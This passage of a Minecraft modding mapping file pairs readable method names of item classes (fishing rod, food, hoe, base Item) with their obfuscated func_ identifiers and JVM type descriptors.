(Ljava/util/Random;)Lnet/minecraft/util/WeightedRandomChestContent; +MD: net/minecraft/item/ItemEnchantedBook/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemEnchantedBook/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemEnchantedBook/isItemTool (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemEnchantedBook/func_77616_k (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemEnchantedBook/getRarity (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; net/minecraft/item/ItemEnchantedBook/func_77613_e (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/ItemEnchantedBook/getEnchantments (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/nbt/NBTTagList; net/minecraft/item/ItemEnchantedBook/func_92110_g (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/item/ItemEnderEye/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemEnderEye/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemEnderEye/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemEnderEye/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemEnderPearl/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemEnderPearl/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemExpBottle/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemExpBottle/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemExpBottle/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemExpBottle/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemFireball/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemFireball/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemFireworkCharge/addExplosionInfo (Lnet/minecraft/nbt/NBTTagCompound;Ljava/util/List;)V net/minecraft/item/ItemFireworkCharge/func_150902_a (Lnet/minecraft/nbt/NBTTagCompound;Ljava/util/List;)V +MD: net/minecraft/item/ItemFireworkCharge/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemFireworkCharge/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemFireworkCharge/getExplosionTag (Lnet/minecraft/item/ItemStack;Ljava/lang/String;)Lnet/minecraft/nbt/NBTBase; net/minecraft/item/ItemFireworkCharge/func_150903_a (Lnet/minecraft/item/ItemStack;Ljava/lang/String;)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/item/ItemFireworkCharge/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemFireworkCharge/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemFirework/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemFirework/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemFirework/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemFirework/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemFishFood$FishType/getMetadata ()I net/minecraft/item/ItemFishFood$FishType/func_150976_a ()I +MD: net/minecraft/item/ItemFishFood$FishType/byMetadata (I)Lnet/minecraft/item/ItemFishFood$FishType; net/minecraft/item/ItemFishFood$FishType/func_150974_a (I)Lnet/minecraft/item/ItemFishFood$FishType; +MD: net/minecraft/item/ItemFishFood$FishType/byItemStack (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemFishFood$FishType; net/minecraft/item/ItemFishFood$FishType/func_150978_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemFishFood$FishType; +MD: net/minecraft/item/ItemFishFood$FishType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/item/ItemFishFood$FishType/func_150972_b ()Ljava/lang/String; +MD: net/minecraft/item/ItemFishFood$FishType/getUncookedHealAmount ()I net/minecraft/item/ItemFishFood$FishType/func_150975_c ()I +MD: net/minecraft/item/ItemFishFood$FishType/getUncookedSaturationModifier ()F net/minecraft/item/ItemFishFood$FishType/func_150967_d ()F +MD: net/minecraft/item/ItemFishFood$FishType/getCookedHealAmount ()I net/minecraft/item/ItemFishFood$FishType/func_150970_e ()I +MD: net/minecraft/item/ItemFishFood$FishType/getCookedSaturationModifier ()F net/minecraft/item/ItemFishFood$FishType/func_150977_f ()F +MD: net/minecraft/item/ItemFishFood$FishType/canCook ()Z net/minecraft/item/ItemFishFood$FishType/func_150973_i ()Z +MD: net/minecraft/item/ItemFishFood$FishType/values ()[Lnet/minecraft/item/ItemFishFood$FishType; net/minecraft/item/ItemFishFood$FishType/values ()[Lnet/minecraft/item/ItemFishFood$FishType; +MD: net/minecraft/item/ItemFishFood/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemFishFood/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemFishFood/onFoodEaten (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemFishFood/func_77849_c (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemFishFood/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemFishFood/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemFishFood/getHealAmount (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemFishFood/func_150905_g (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemFishFood/getSaturationModifier (Lnet/minecraft/item/ItemStack;)F net/minecraft/item/ItemFishFood/func_150906_h (Lnet/minecraft/item/ItemStack;)F +MD: net/minecraft/item/ItemFishFood/getPotionEffect (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemFishFood/func_150896_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemFishingRod/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemFishingRod/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemFishingRod/getItemEnchantability ()I net/minecraft/item/ItemFishingRod/func_77619_b ()I +MD: net/minecraft/item/ItemFishingRod/shouldRotateAroundWhenRendering ()Z net/minecraft/item/ItemFishingRod/func_77629_n_ ()Z +MD: net/minecraft/item/ItemFishingRod/isItemTool (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemFishingRod/func_77616_k (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemFishingRod/isFull3D ()Z net/minecraft/item/ItemFishingRod/func_77662_d ()Z +MD: net/minecraft/item/ItemFlintAndSteel/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemFlintAndSteel/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemFood/setPotionEffect (IIIF)Lnet/minecraft/item/ItemFood; net/minecraft/item/ItemFood/func_77844_a (IIIF)Lnet/minecraft/item/ItemFood; +MD: net/minecraft/item/ItemFood/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemFood/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemFood/onItemUseFinish (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemFood/func_77654_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemFood/onFoodEaten (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemFood/func_77849_c (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemFood/getMaxItemUseDuration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemFood/func_77626_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemFood/getItemUseAction (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; net/minecraft/item/ItemFood/func_77661_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemFood/isWolfsFavoriteMeat ()Z net/minecraft/item/ItemFood/func_77845_h ()Z +MD: net/minecraft/item/ItemFood/setAlwaysEdible ()Lnet/minecraft/item/ItemFood; net/minecraft/item/ItemFood/func_77848_i ()Lnet/minecraft/item/ItemFood; +MD: net/minecraft/item/ItemFood/getHealAmount (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemFood/func_150905_g (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemFood/getSaturationModifier (Lnet/minecraft/item/ItemStack;)F net/minecraft/item/ItemFood/func_150906_h (Lnet/minecraft/item/ItemStack;)F +MD: net/minecraft/item/ItemAppleGold/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemAppleGold/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemAppleGold/onFoodEaten (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemAppleGold/func_77849_c (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemAppleGold/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemAppleGold/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemAppleGold/getRarity (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; net/minecraft/item/ItemAppleGold/func_77613_e (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/ItemHangingEntity/createEntity (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/entity/EntityHanging; net/minecraft/item/ItemHangingEntity/func_179233_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/entity/EntityHanging; +MD: net/minecraft/item/ItemHangingEntity/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemHangingEntity/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemHoe/useHoe (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/item/ItemHoe/func_179232_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/item/ItemHoe/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemHoe/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemHoe/getMaterialName ()Ljava/lang/String; net/minecraft/item/ItemHoe/func_77842_f ()Ljava/lang/String; +MD: net/minecraft/item/ItemHoe/isFull3D ()Z net/minecraft/item/ItemHoe/func_77662_d ()Z +MD: net/minecraft/item/Item$1/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$1/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$1/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$1/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$10/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$10/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$10/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$10/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$11/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$11/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$11/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$11/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$12/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$12/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$12/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$12/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$13/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$13/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$13/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$13/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$14/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$14/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$14/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$14/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$15/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$15/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$15/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$15/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$16/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$16/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$16/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$16/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$17/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$17/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$17/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$17/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$2/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$2/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$2/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$2/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$3/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$3/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$3/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$3/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$4/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$4/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$4/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$4/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$5/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$5/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$5/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$5/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$6/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$6/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$6/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$6/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$7/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$7/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$7/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$7/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$8/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$8/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$8/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$8/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$9/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item$9/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item$9/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/Item$9/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/Item$ToolMaterial/getMaxUses ()I net/minecraft/item/Item$ToolMaterial/func_77997_a ()I +MD: net/minecraft/item/Item$ToolMaterial/getEfficiencyOnProperMaterial ()F net/minecraft/item/Item$ToolMaterial/func_77998_b ()F +MD: net/minecraft/item/Item$ToolMaterial/getDamageVsEntity ()F net/minecraft/item/Item$ToolMaterial/func_78000_c ()F +MD: net/minecraft/item/Item$ToolMaterial/getHarvestLevel ()I net/minecraft/item/Item$ToolMaterial/func_77996_d ()I +MD: net/minecraft/item/Item$ToolMaterial/getEnchantability ()I net/minecraft/item/Item$ToolMaterial/func_77995_e ()I +MD: net/minecraft/item/Item$ToolMaterial/getRepairItem ()Lnet/minecraft/item/Item; net/minecraft/item/Item$ToolMaterial/func_150995_f ()Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item$ToolMaterial/valueOf (Ljava/lang/String;)Lnet/minecraft/item/Item$ToolMaterial; net/minecraft/item/Item$ToolMaterial/valueOf (Ljava/lang/String;)Lnet/minecraft/item/Item$ToolMaterial; +MD: net/minecraft/item/Item$ToolMaterial/values ()[Lnet/minecraft/item/Item$ToolMaterial; net/minecraft/item/Item$ToolMaterial/values ()[Lnet/minecraft/item/Item$ToolMaterial; +MD: net/minecraft/item/Item/getUnlocalizedName ()Ljava/lang/String; net/minecraft/item/Item/func_77658_a ()Ljava/lang/String; +MD: net/minecraft/item/Item/getMetadata (I)I net/minecraft/item/Item/func_77647_b (I)I +MD: net/minecraft/item/Item/registerItem (ILjava/lang/String;Lnet/minecraft/item/Item;)V net/minecraft/item/Item/func_179217_a (ILjava/lang/String;Lnet/minecraft/item/Item;)V +MD: net/minecraft/item/Item/registerItem (ILnet/minecraft/util/ResourceLocation;Lnet/minecraft/item/Item;)V net/minecraft/item/Item/func_179219_a (ILnet/minecraft/util/ResourceLocation;Lnet/minecraft/item/Item;)V +MD: net/minecraft/item/Item/getMovingObjectPositionFromPlayer (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Z)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/item/Item/func_77621_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Z)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/item/Item/getItemFromBlock (Lnet/minecraft/block/Block;)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_150898_a (Lnet/minecraft/block/Block;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/registerItemBlock (Lnet/minecraft/block/Block;Lnet/minecraft/item/Item;)V net/minecraft/item/Item/func_179214_a (Lnet/minecraft/block/Block;Lnet/minecraft/item/Item;)V +MD: net/minecraft/item/Item/updateItemStackNBT (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/item/Item/func_179215_a (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/item/Item/setCreativeTab (Lnet/minecraft/creativetab/CreativeTabs;)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77637_a (Lnet/minecraft/creativetab/CreativeTabs;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/Item/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/Item/getItemStackDisplayName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item/func_77653_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/Item/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/Item/onBlockDestroyed (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/Item/func_179218_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/Item/onUpdate (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;IZ)V net/minecraft/item/Item/func_77663_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;IZ)V +MD: net/minecraft/item/Item/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/Item/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/Item/onPlayerStoppedUsing (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V net/minecraft/item/Item/func_77615_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V +MD: net/minecraft/item/Item/getStrVsBlock (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F net/minecraft/item/Item/func_150893_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/Item/hitEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/Item/func_77644_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/Item/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/Item/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/Item/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/Item/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/Item/itemInteractionForEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/Item/func_111207_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/Item/getIsRepairable (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/Item/func_82789_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/Item/setHasSubtypes (Z)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77627_a (Z)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/getItemEnchantability ()I net/minecraft/item/Item/func_77619_b ()I +MD: net/minecraft/item/Item/getItemById (I)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_150899_d (I)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/item/Item/func_150897_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/Item/getIdFromItem (Lnet/minecraft/item/Item;)I net/minecraft/item/Item/func_150891_b (Lnet/minecraft/item/Item;)I +MD: net/minecraft/item/Item/onItemUseFinish (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/Item/func_77654_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/Item/getCreativeTab 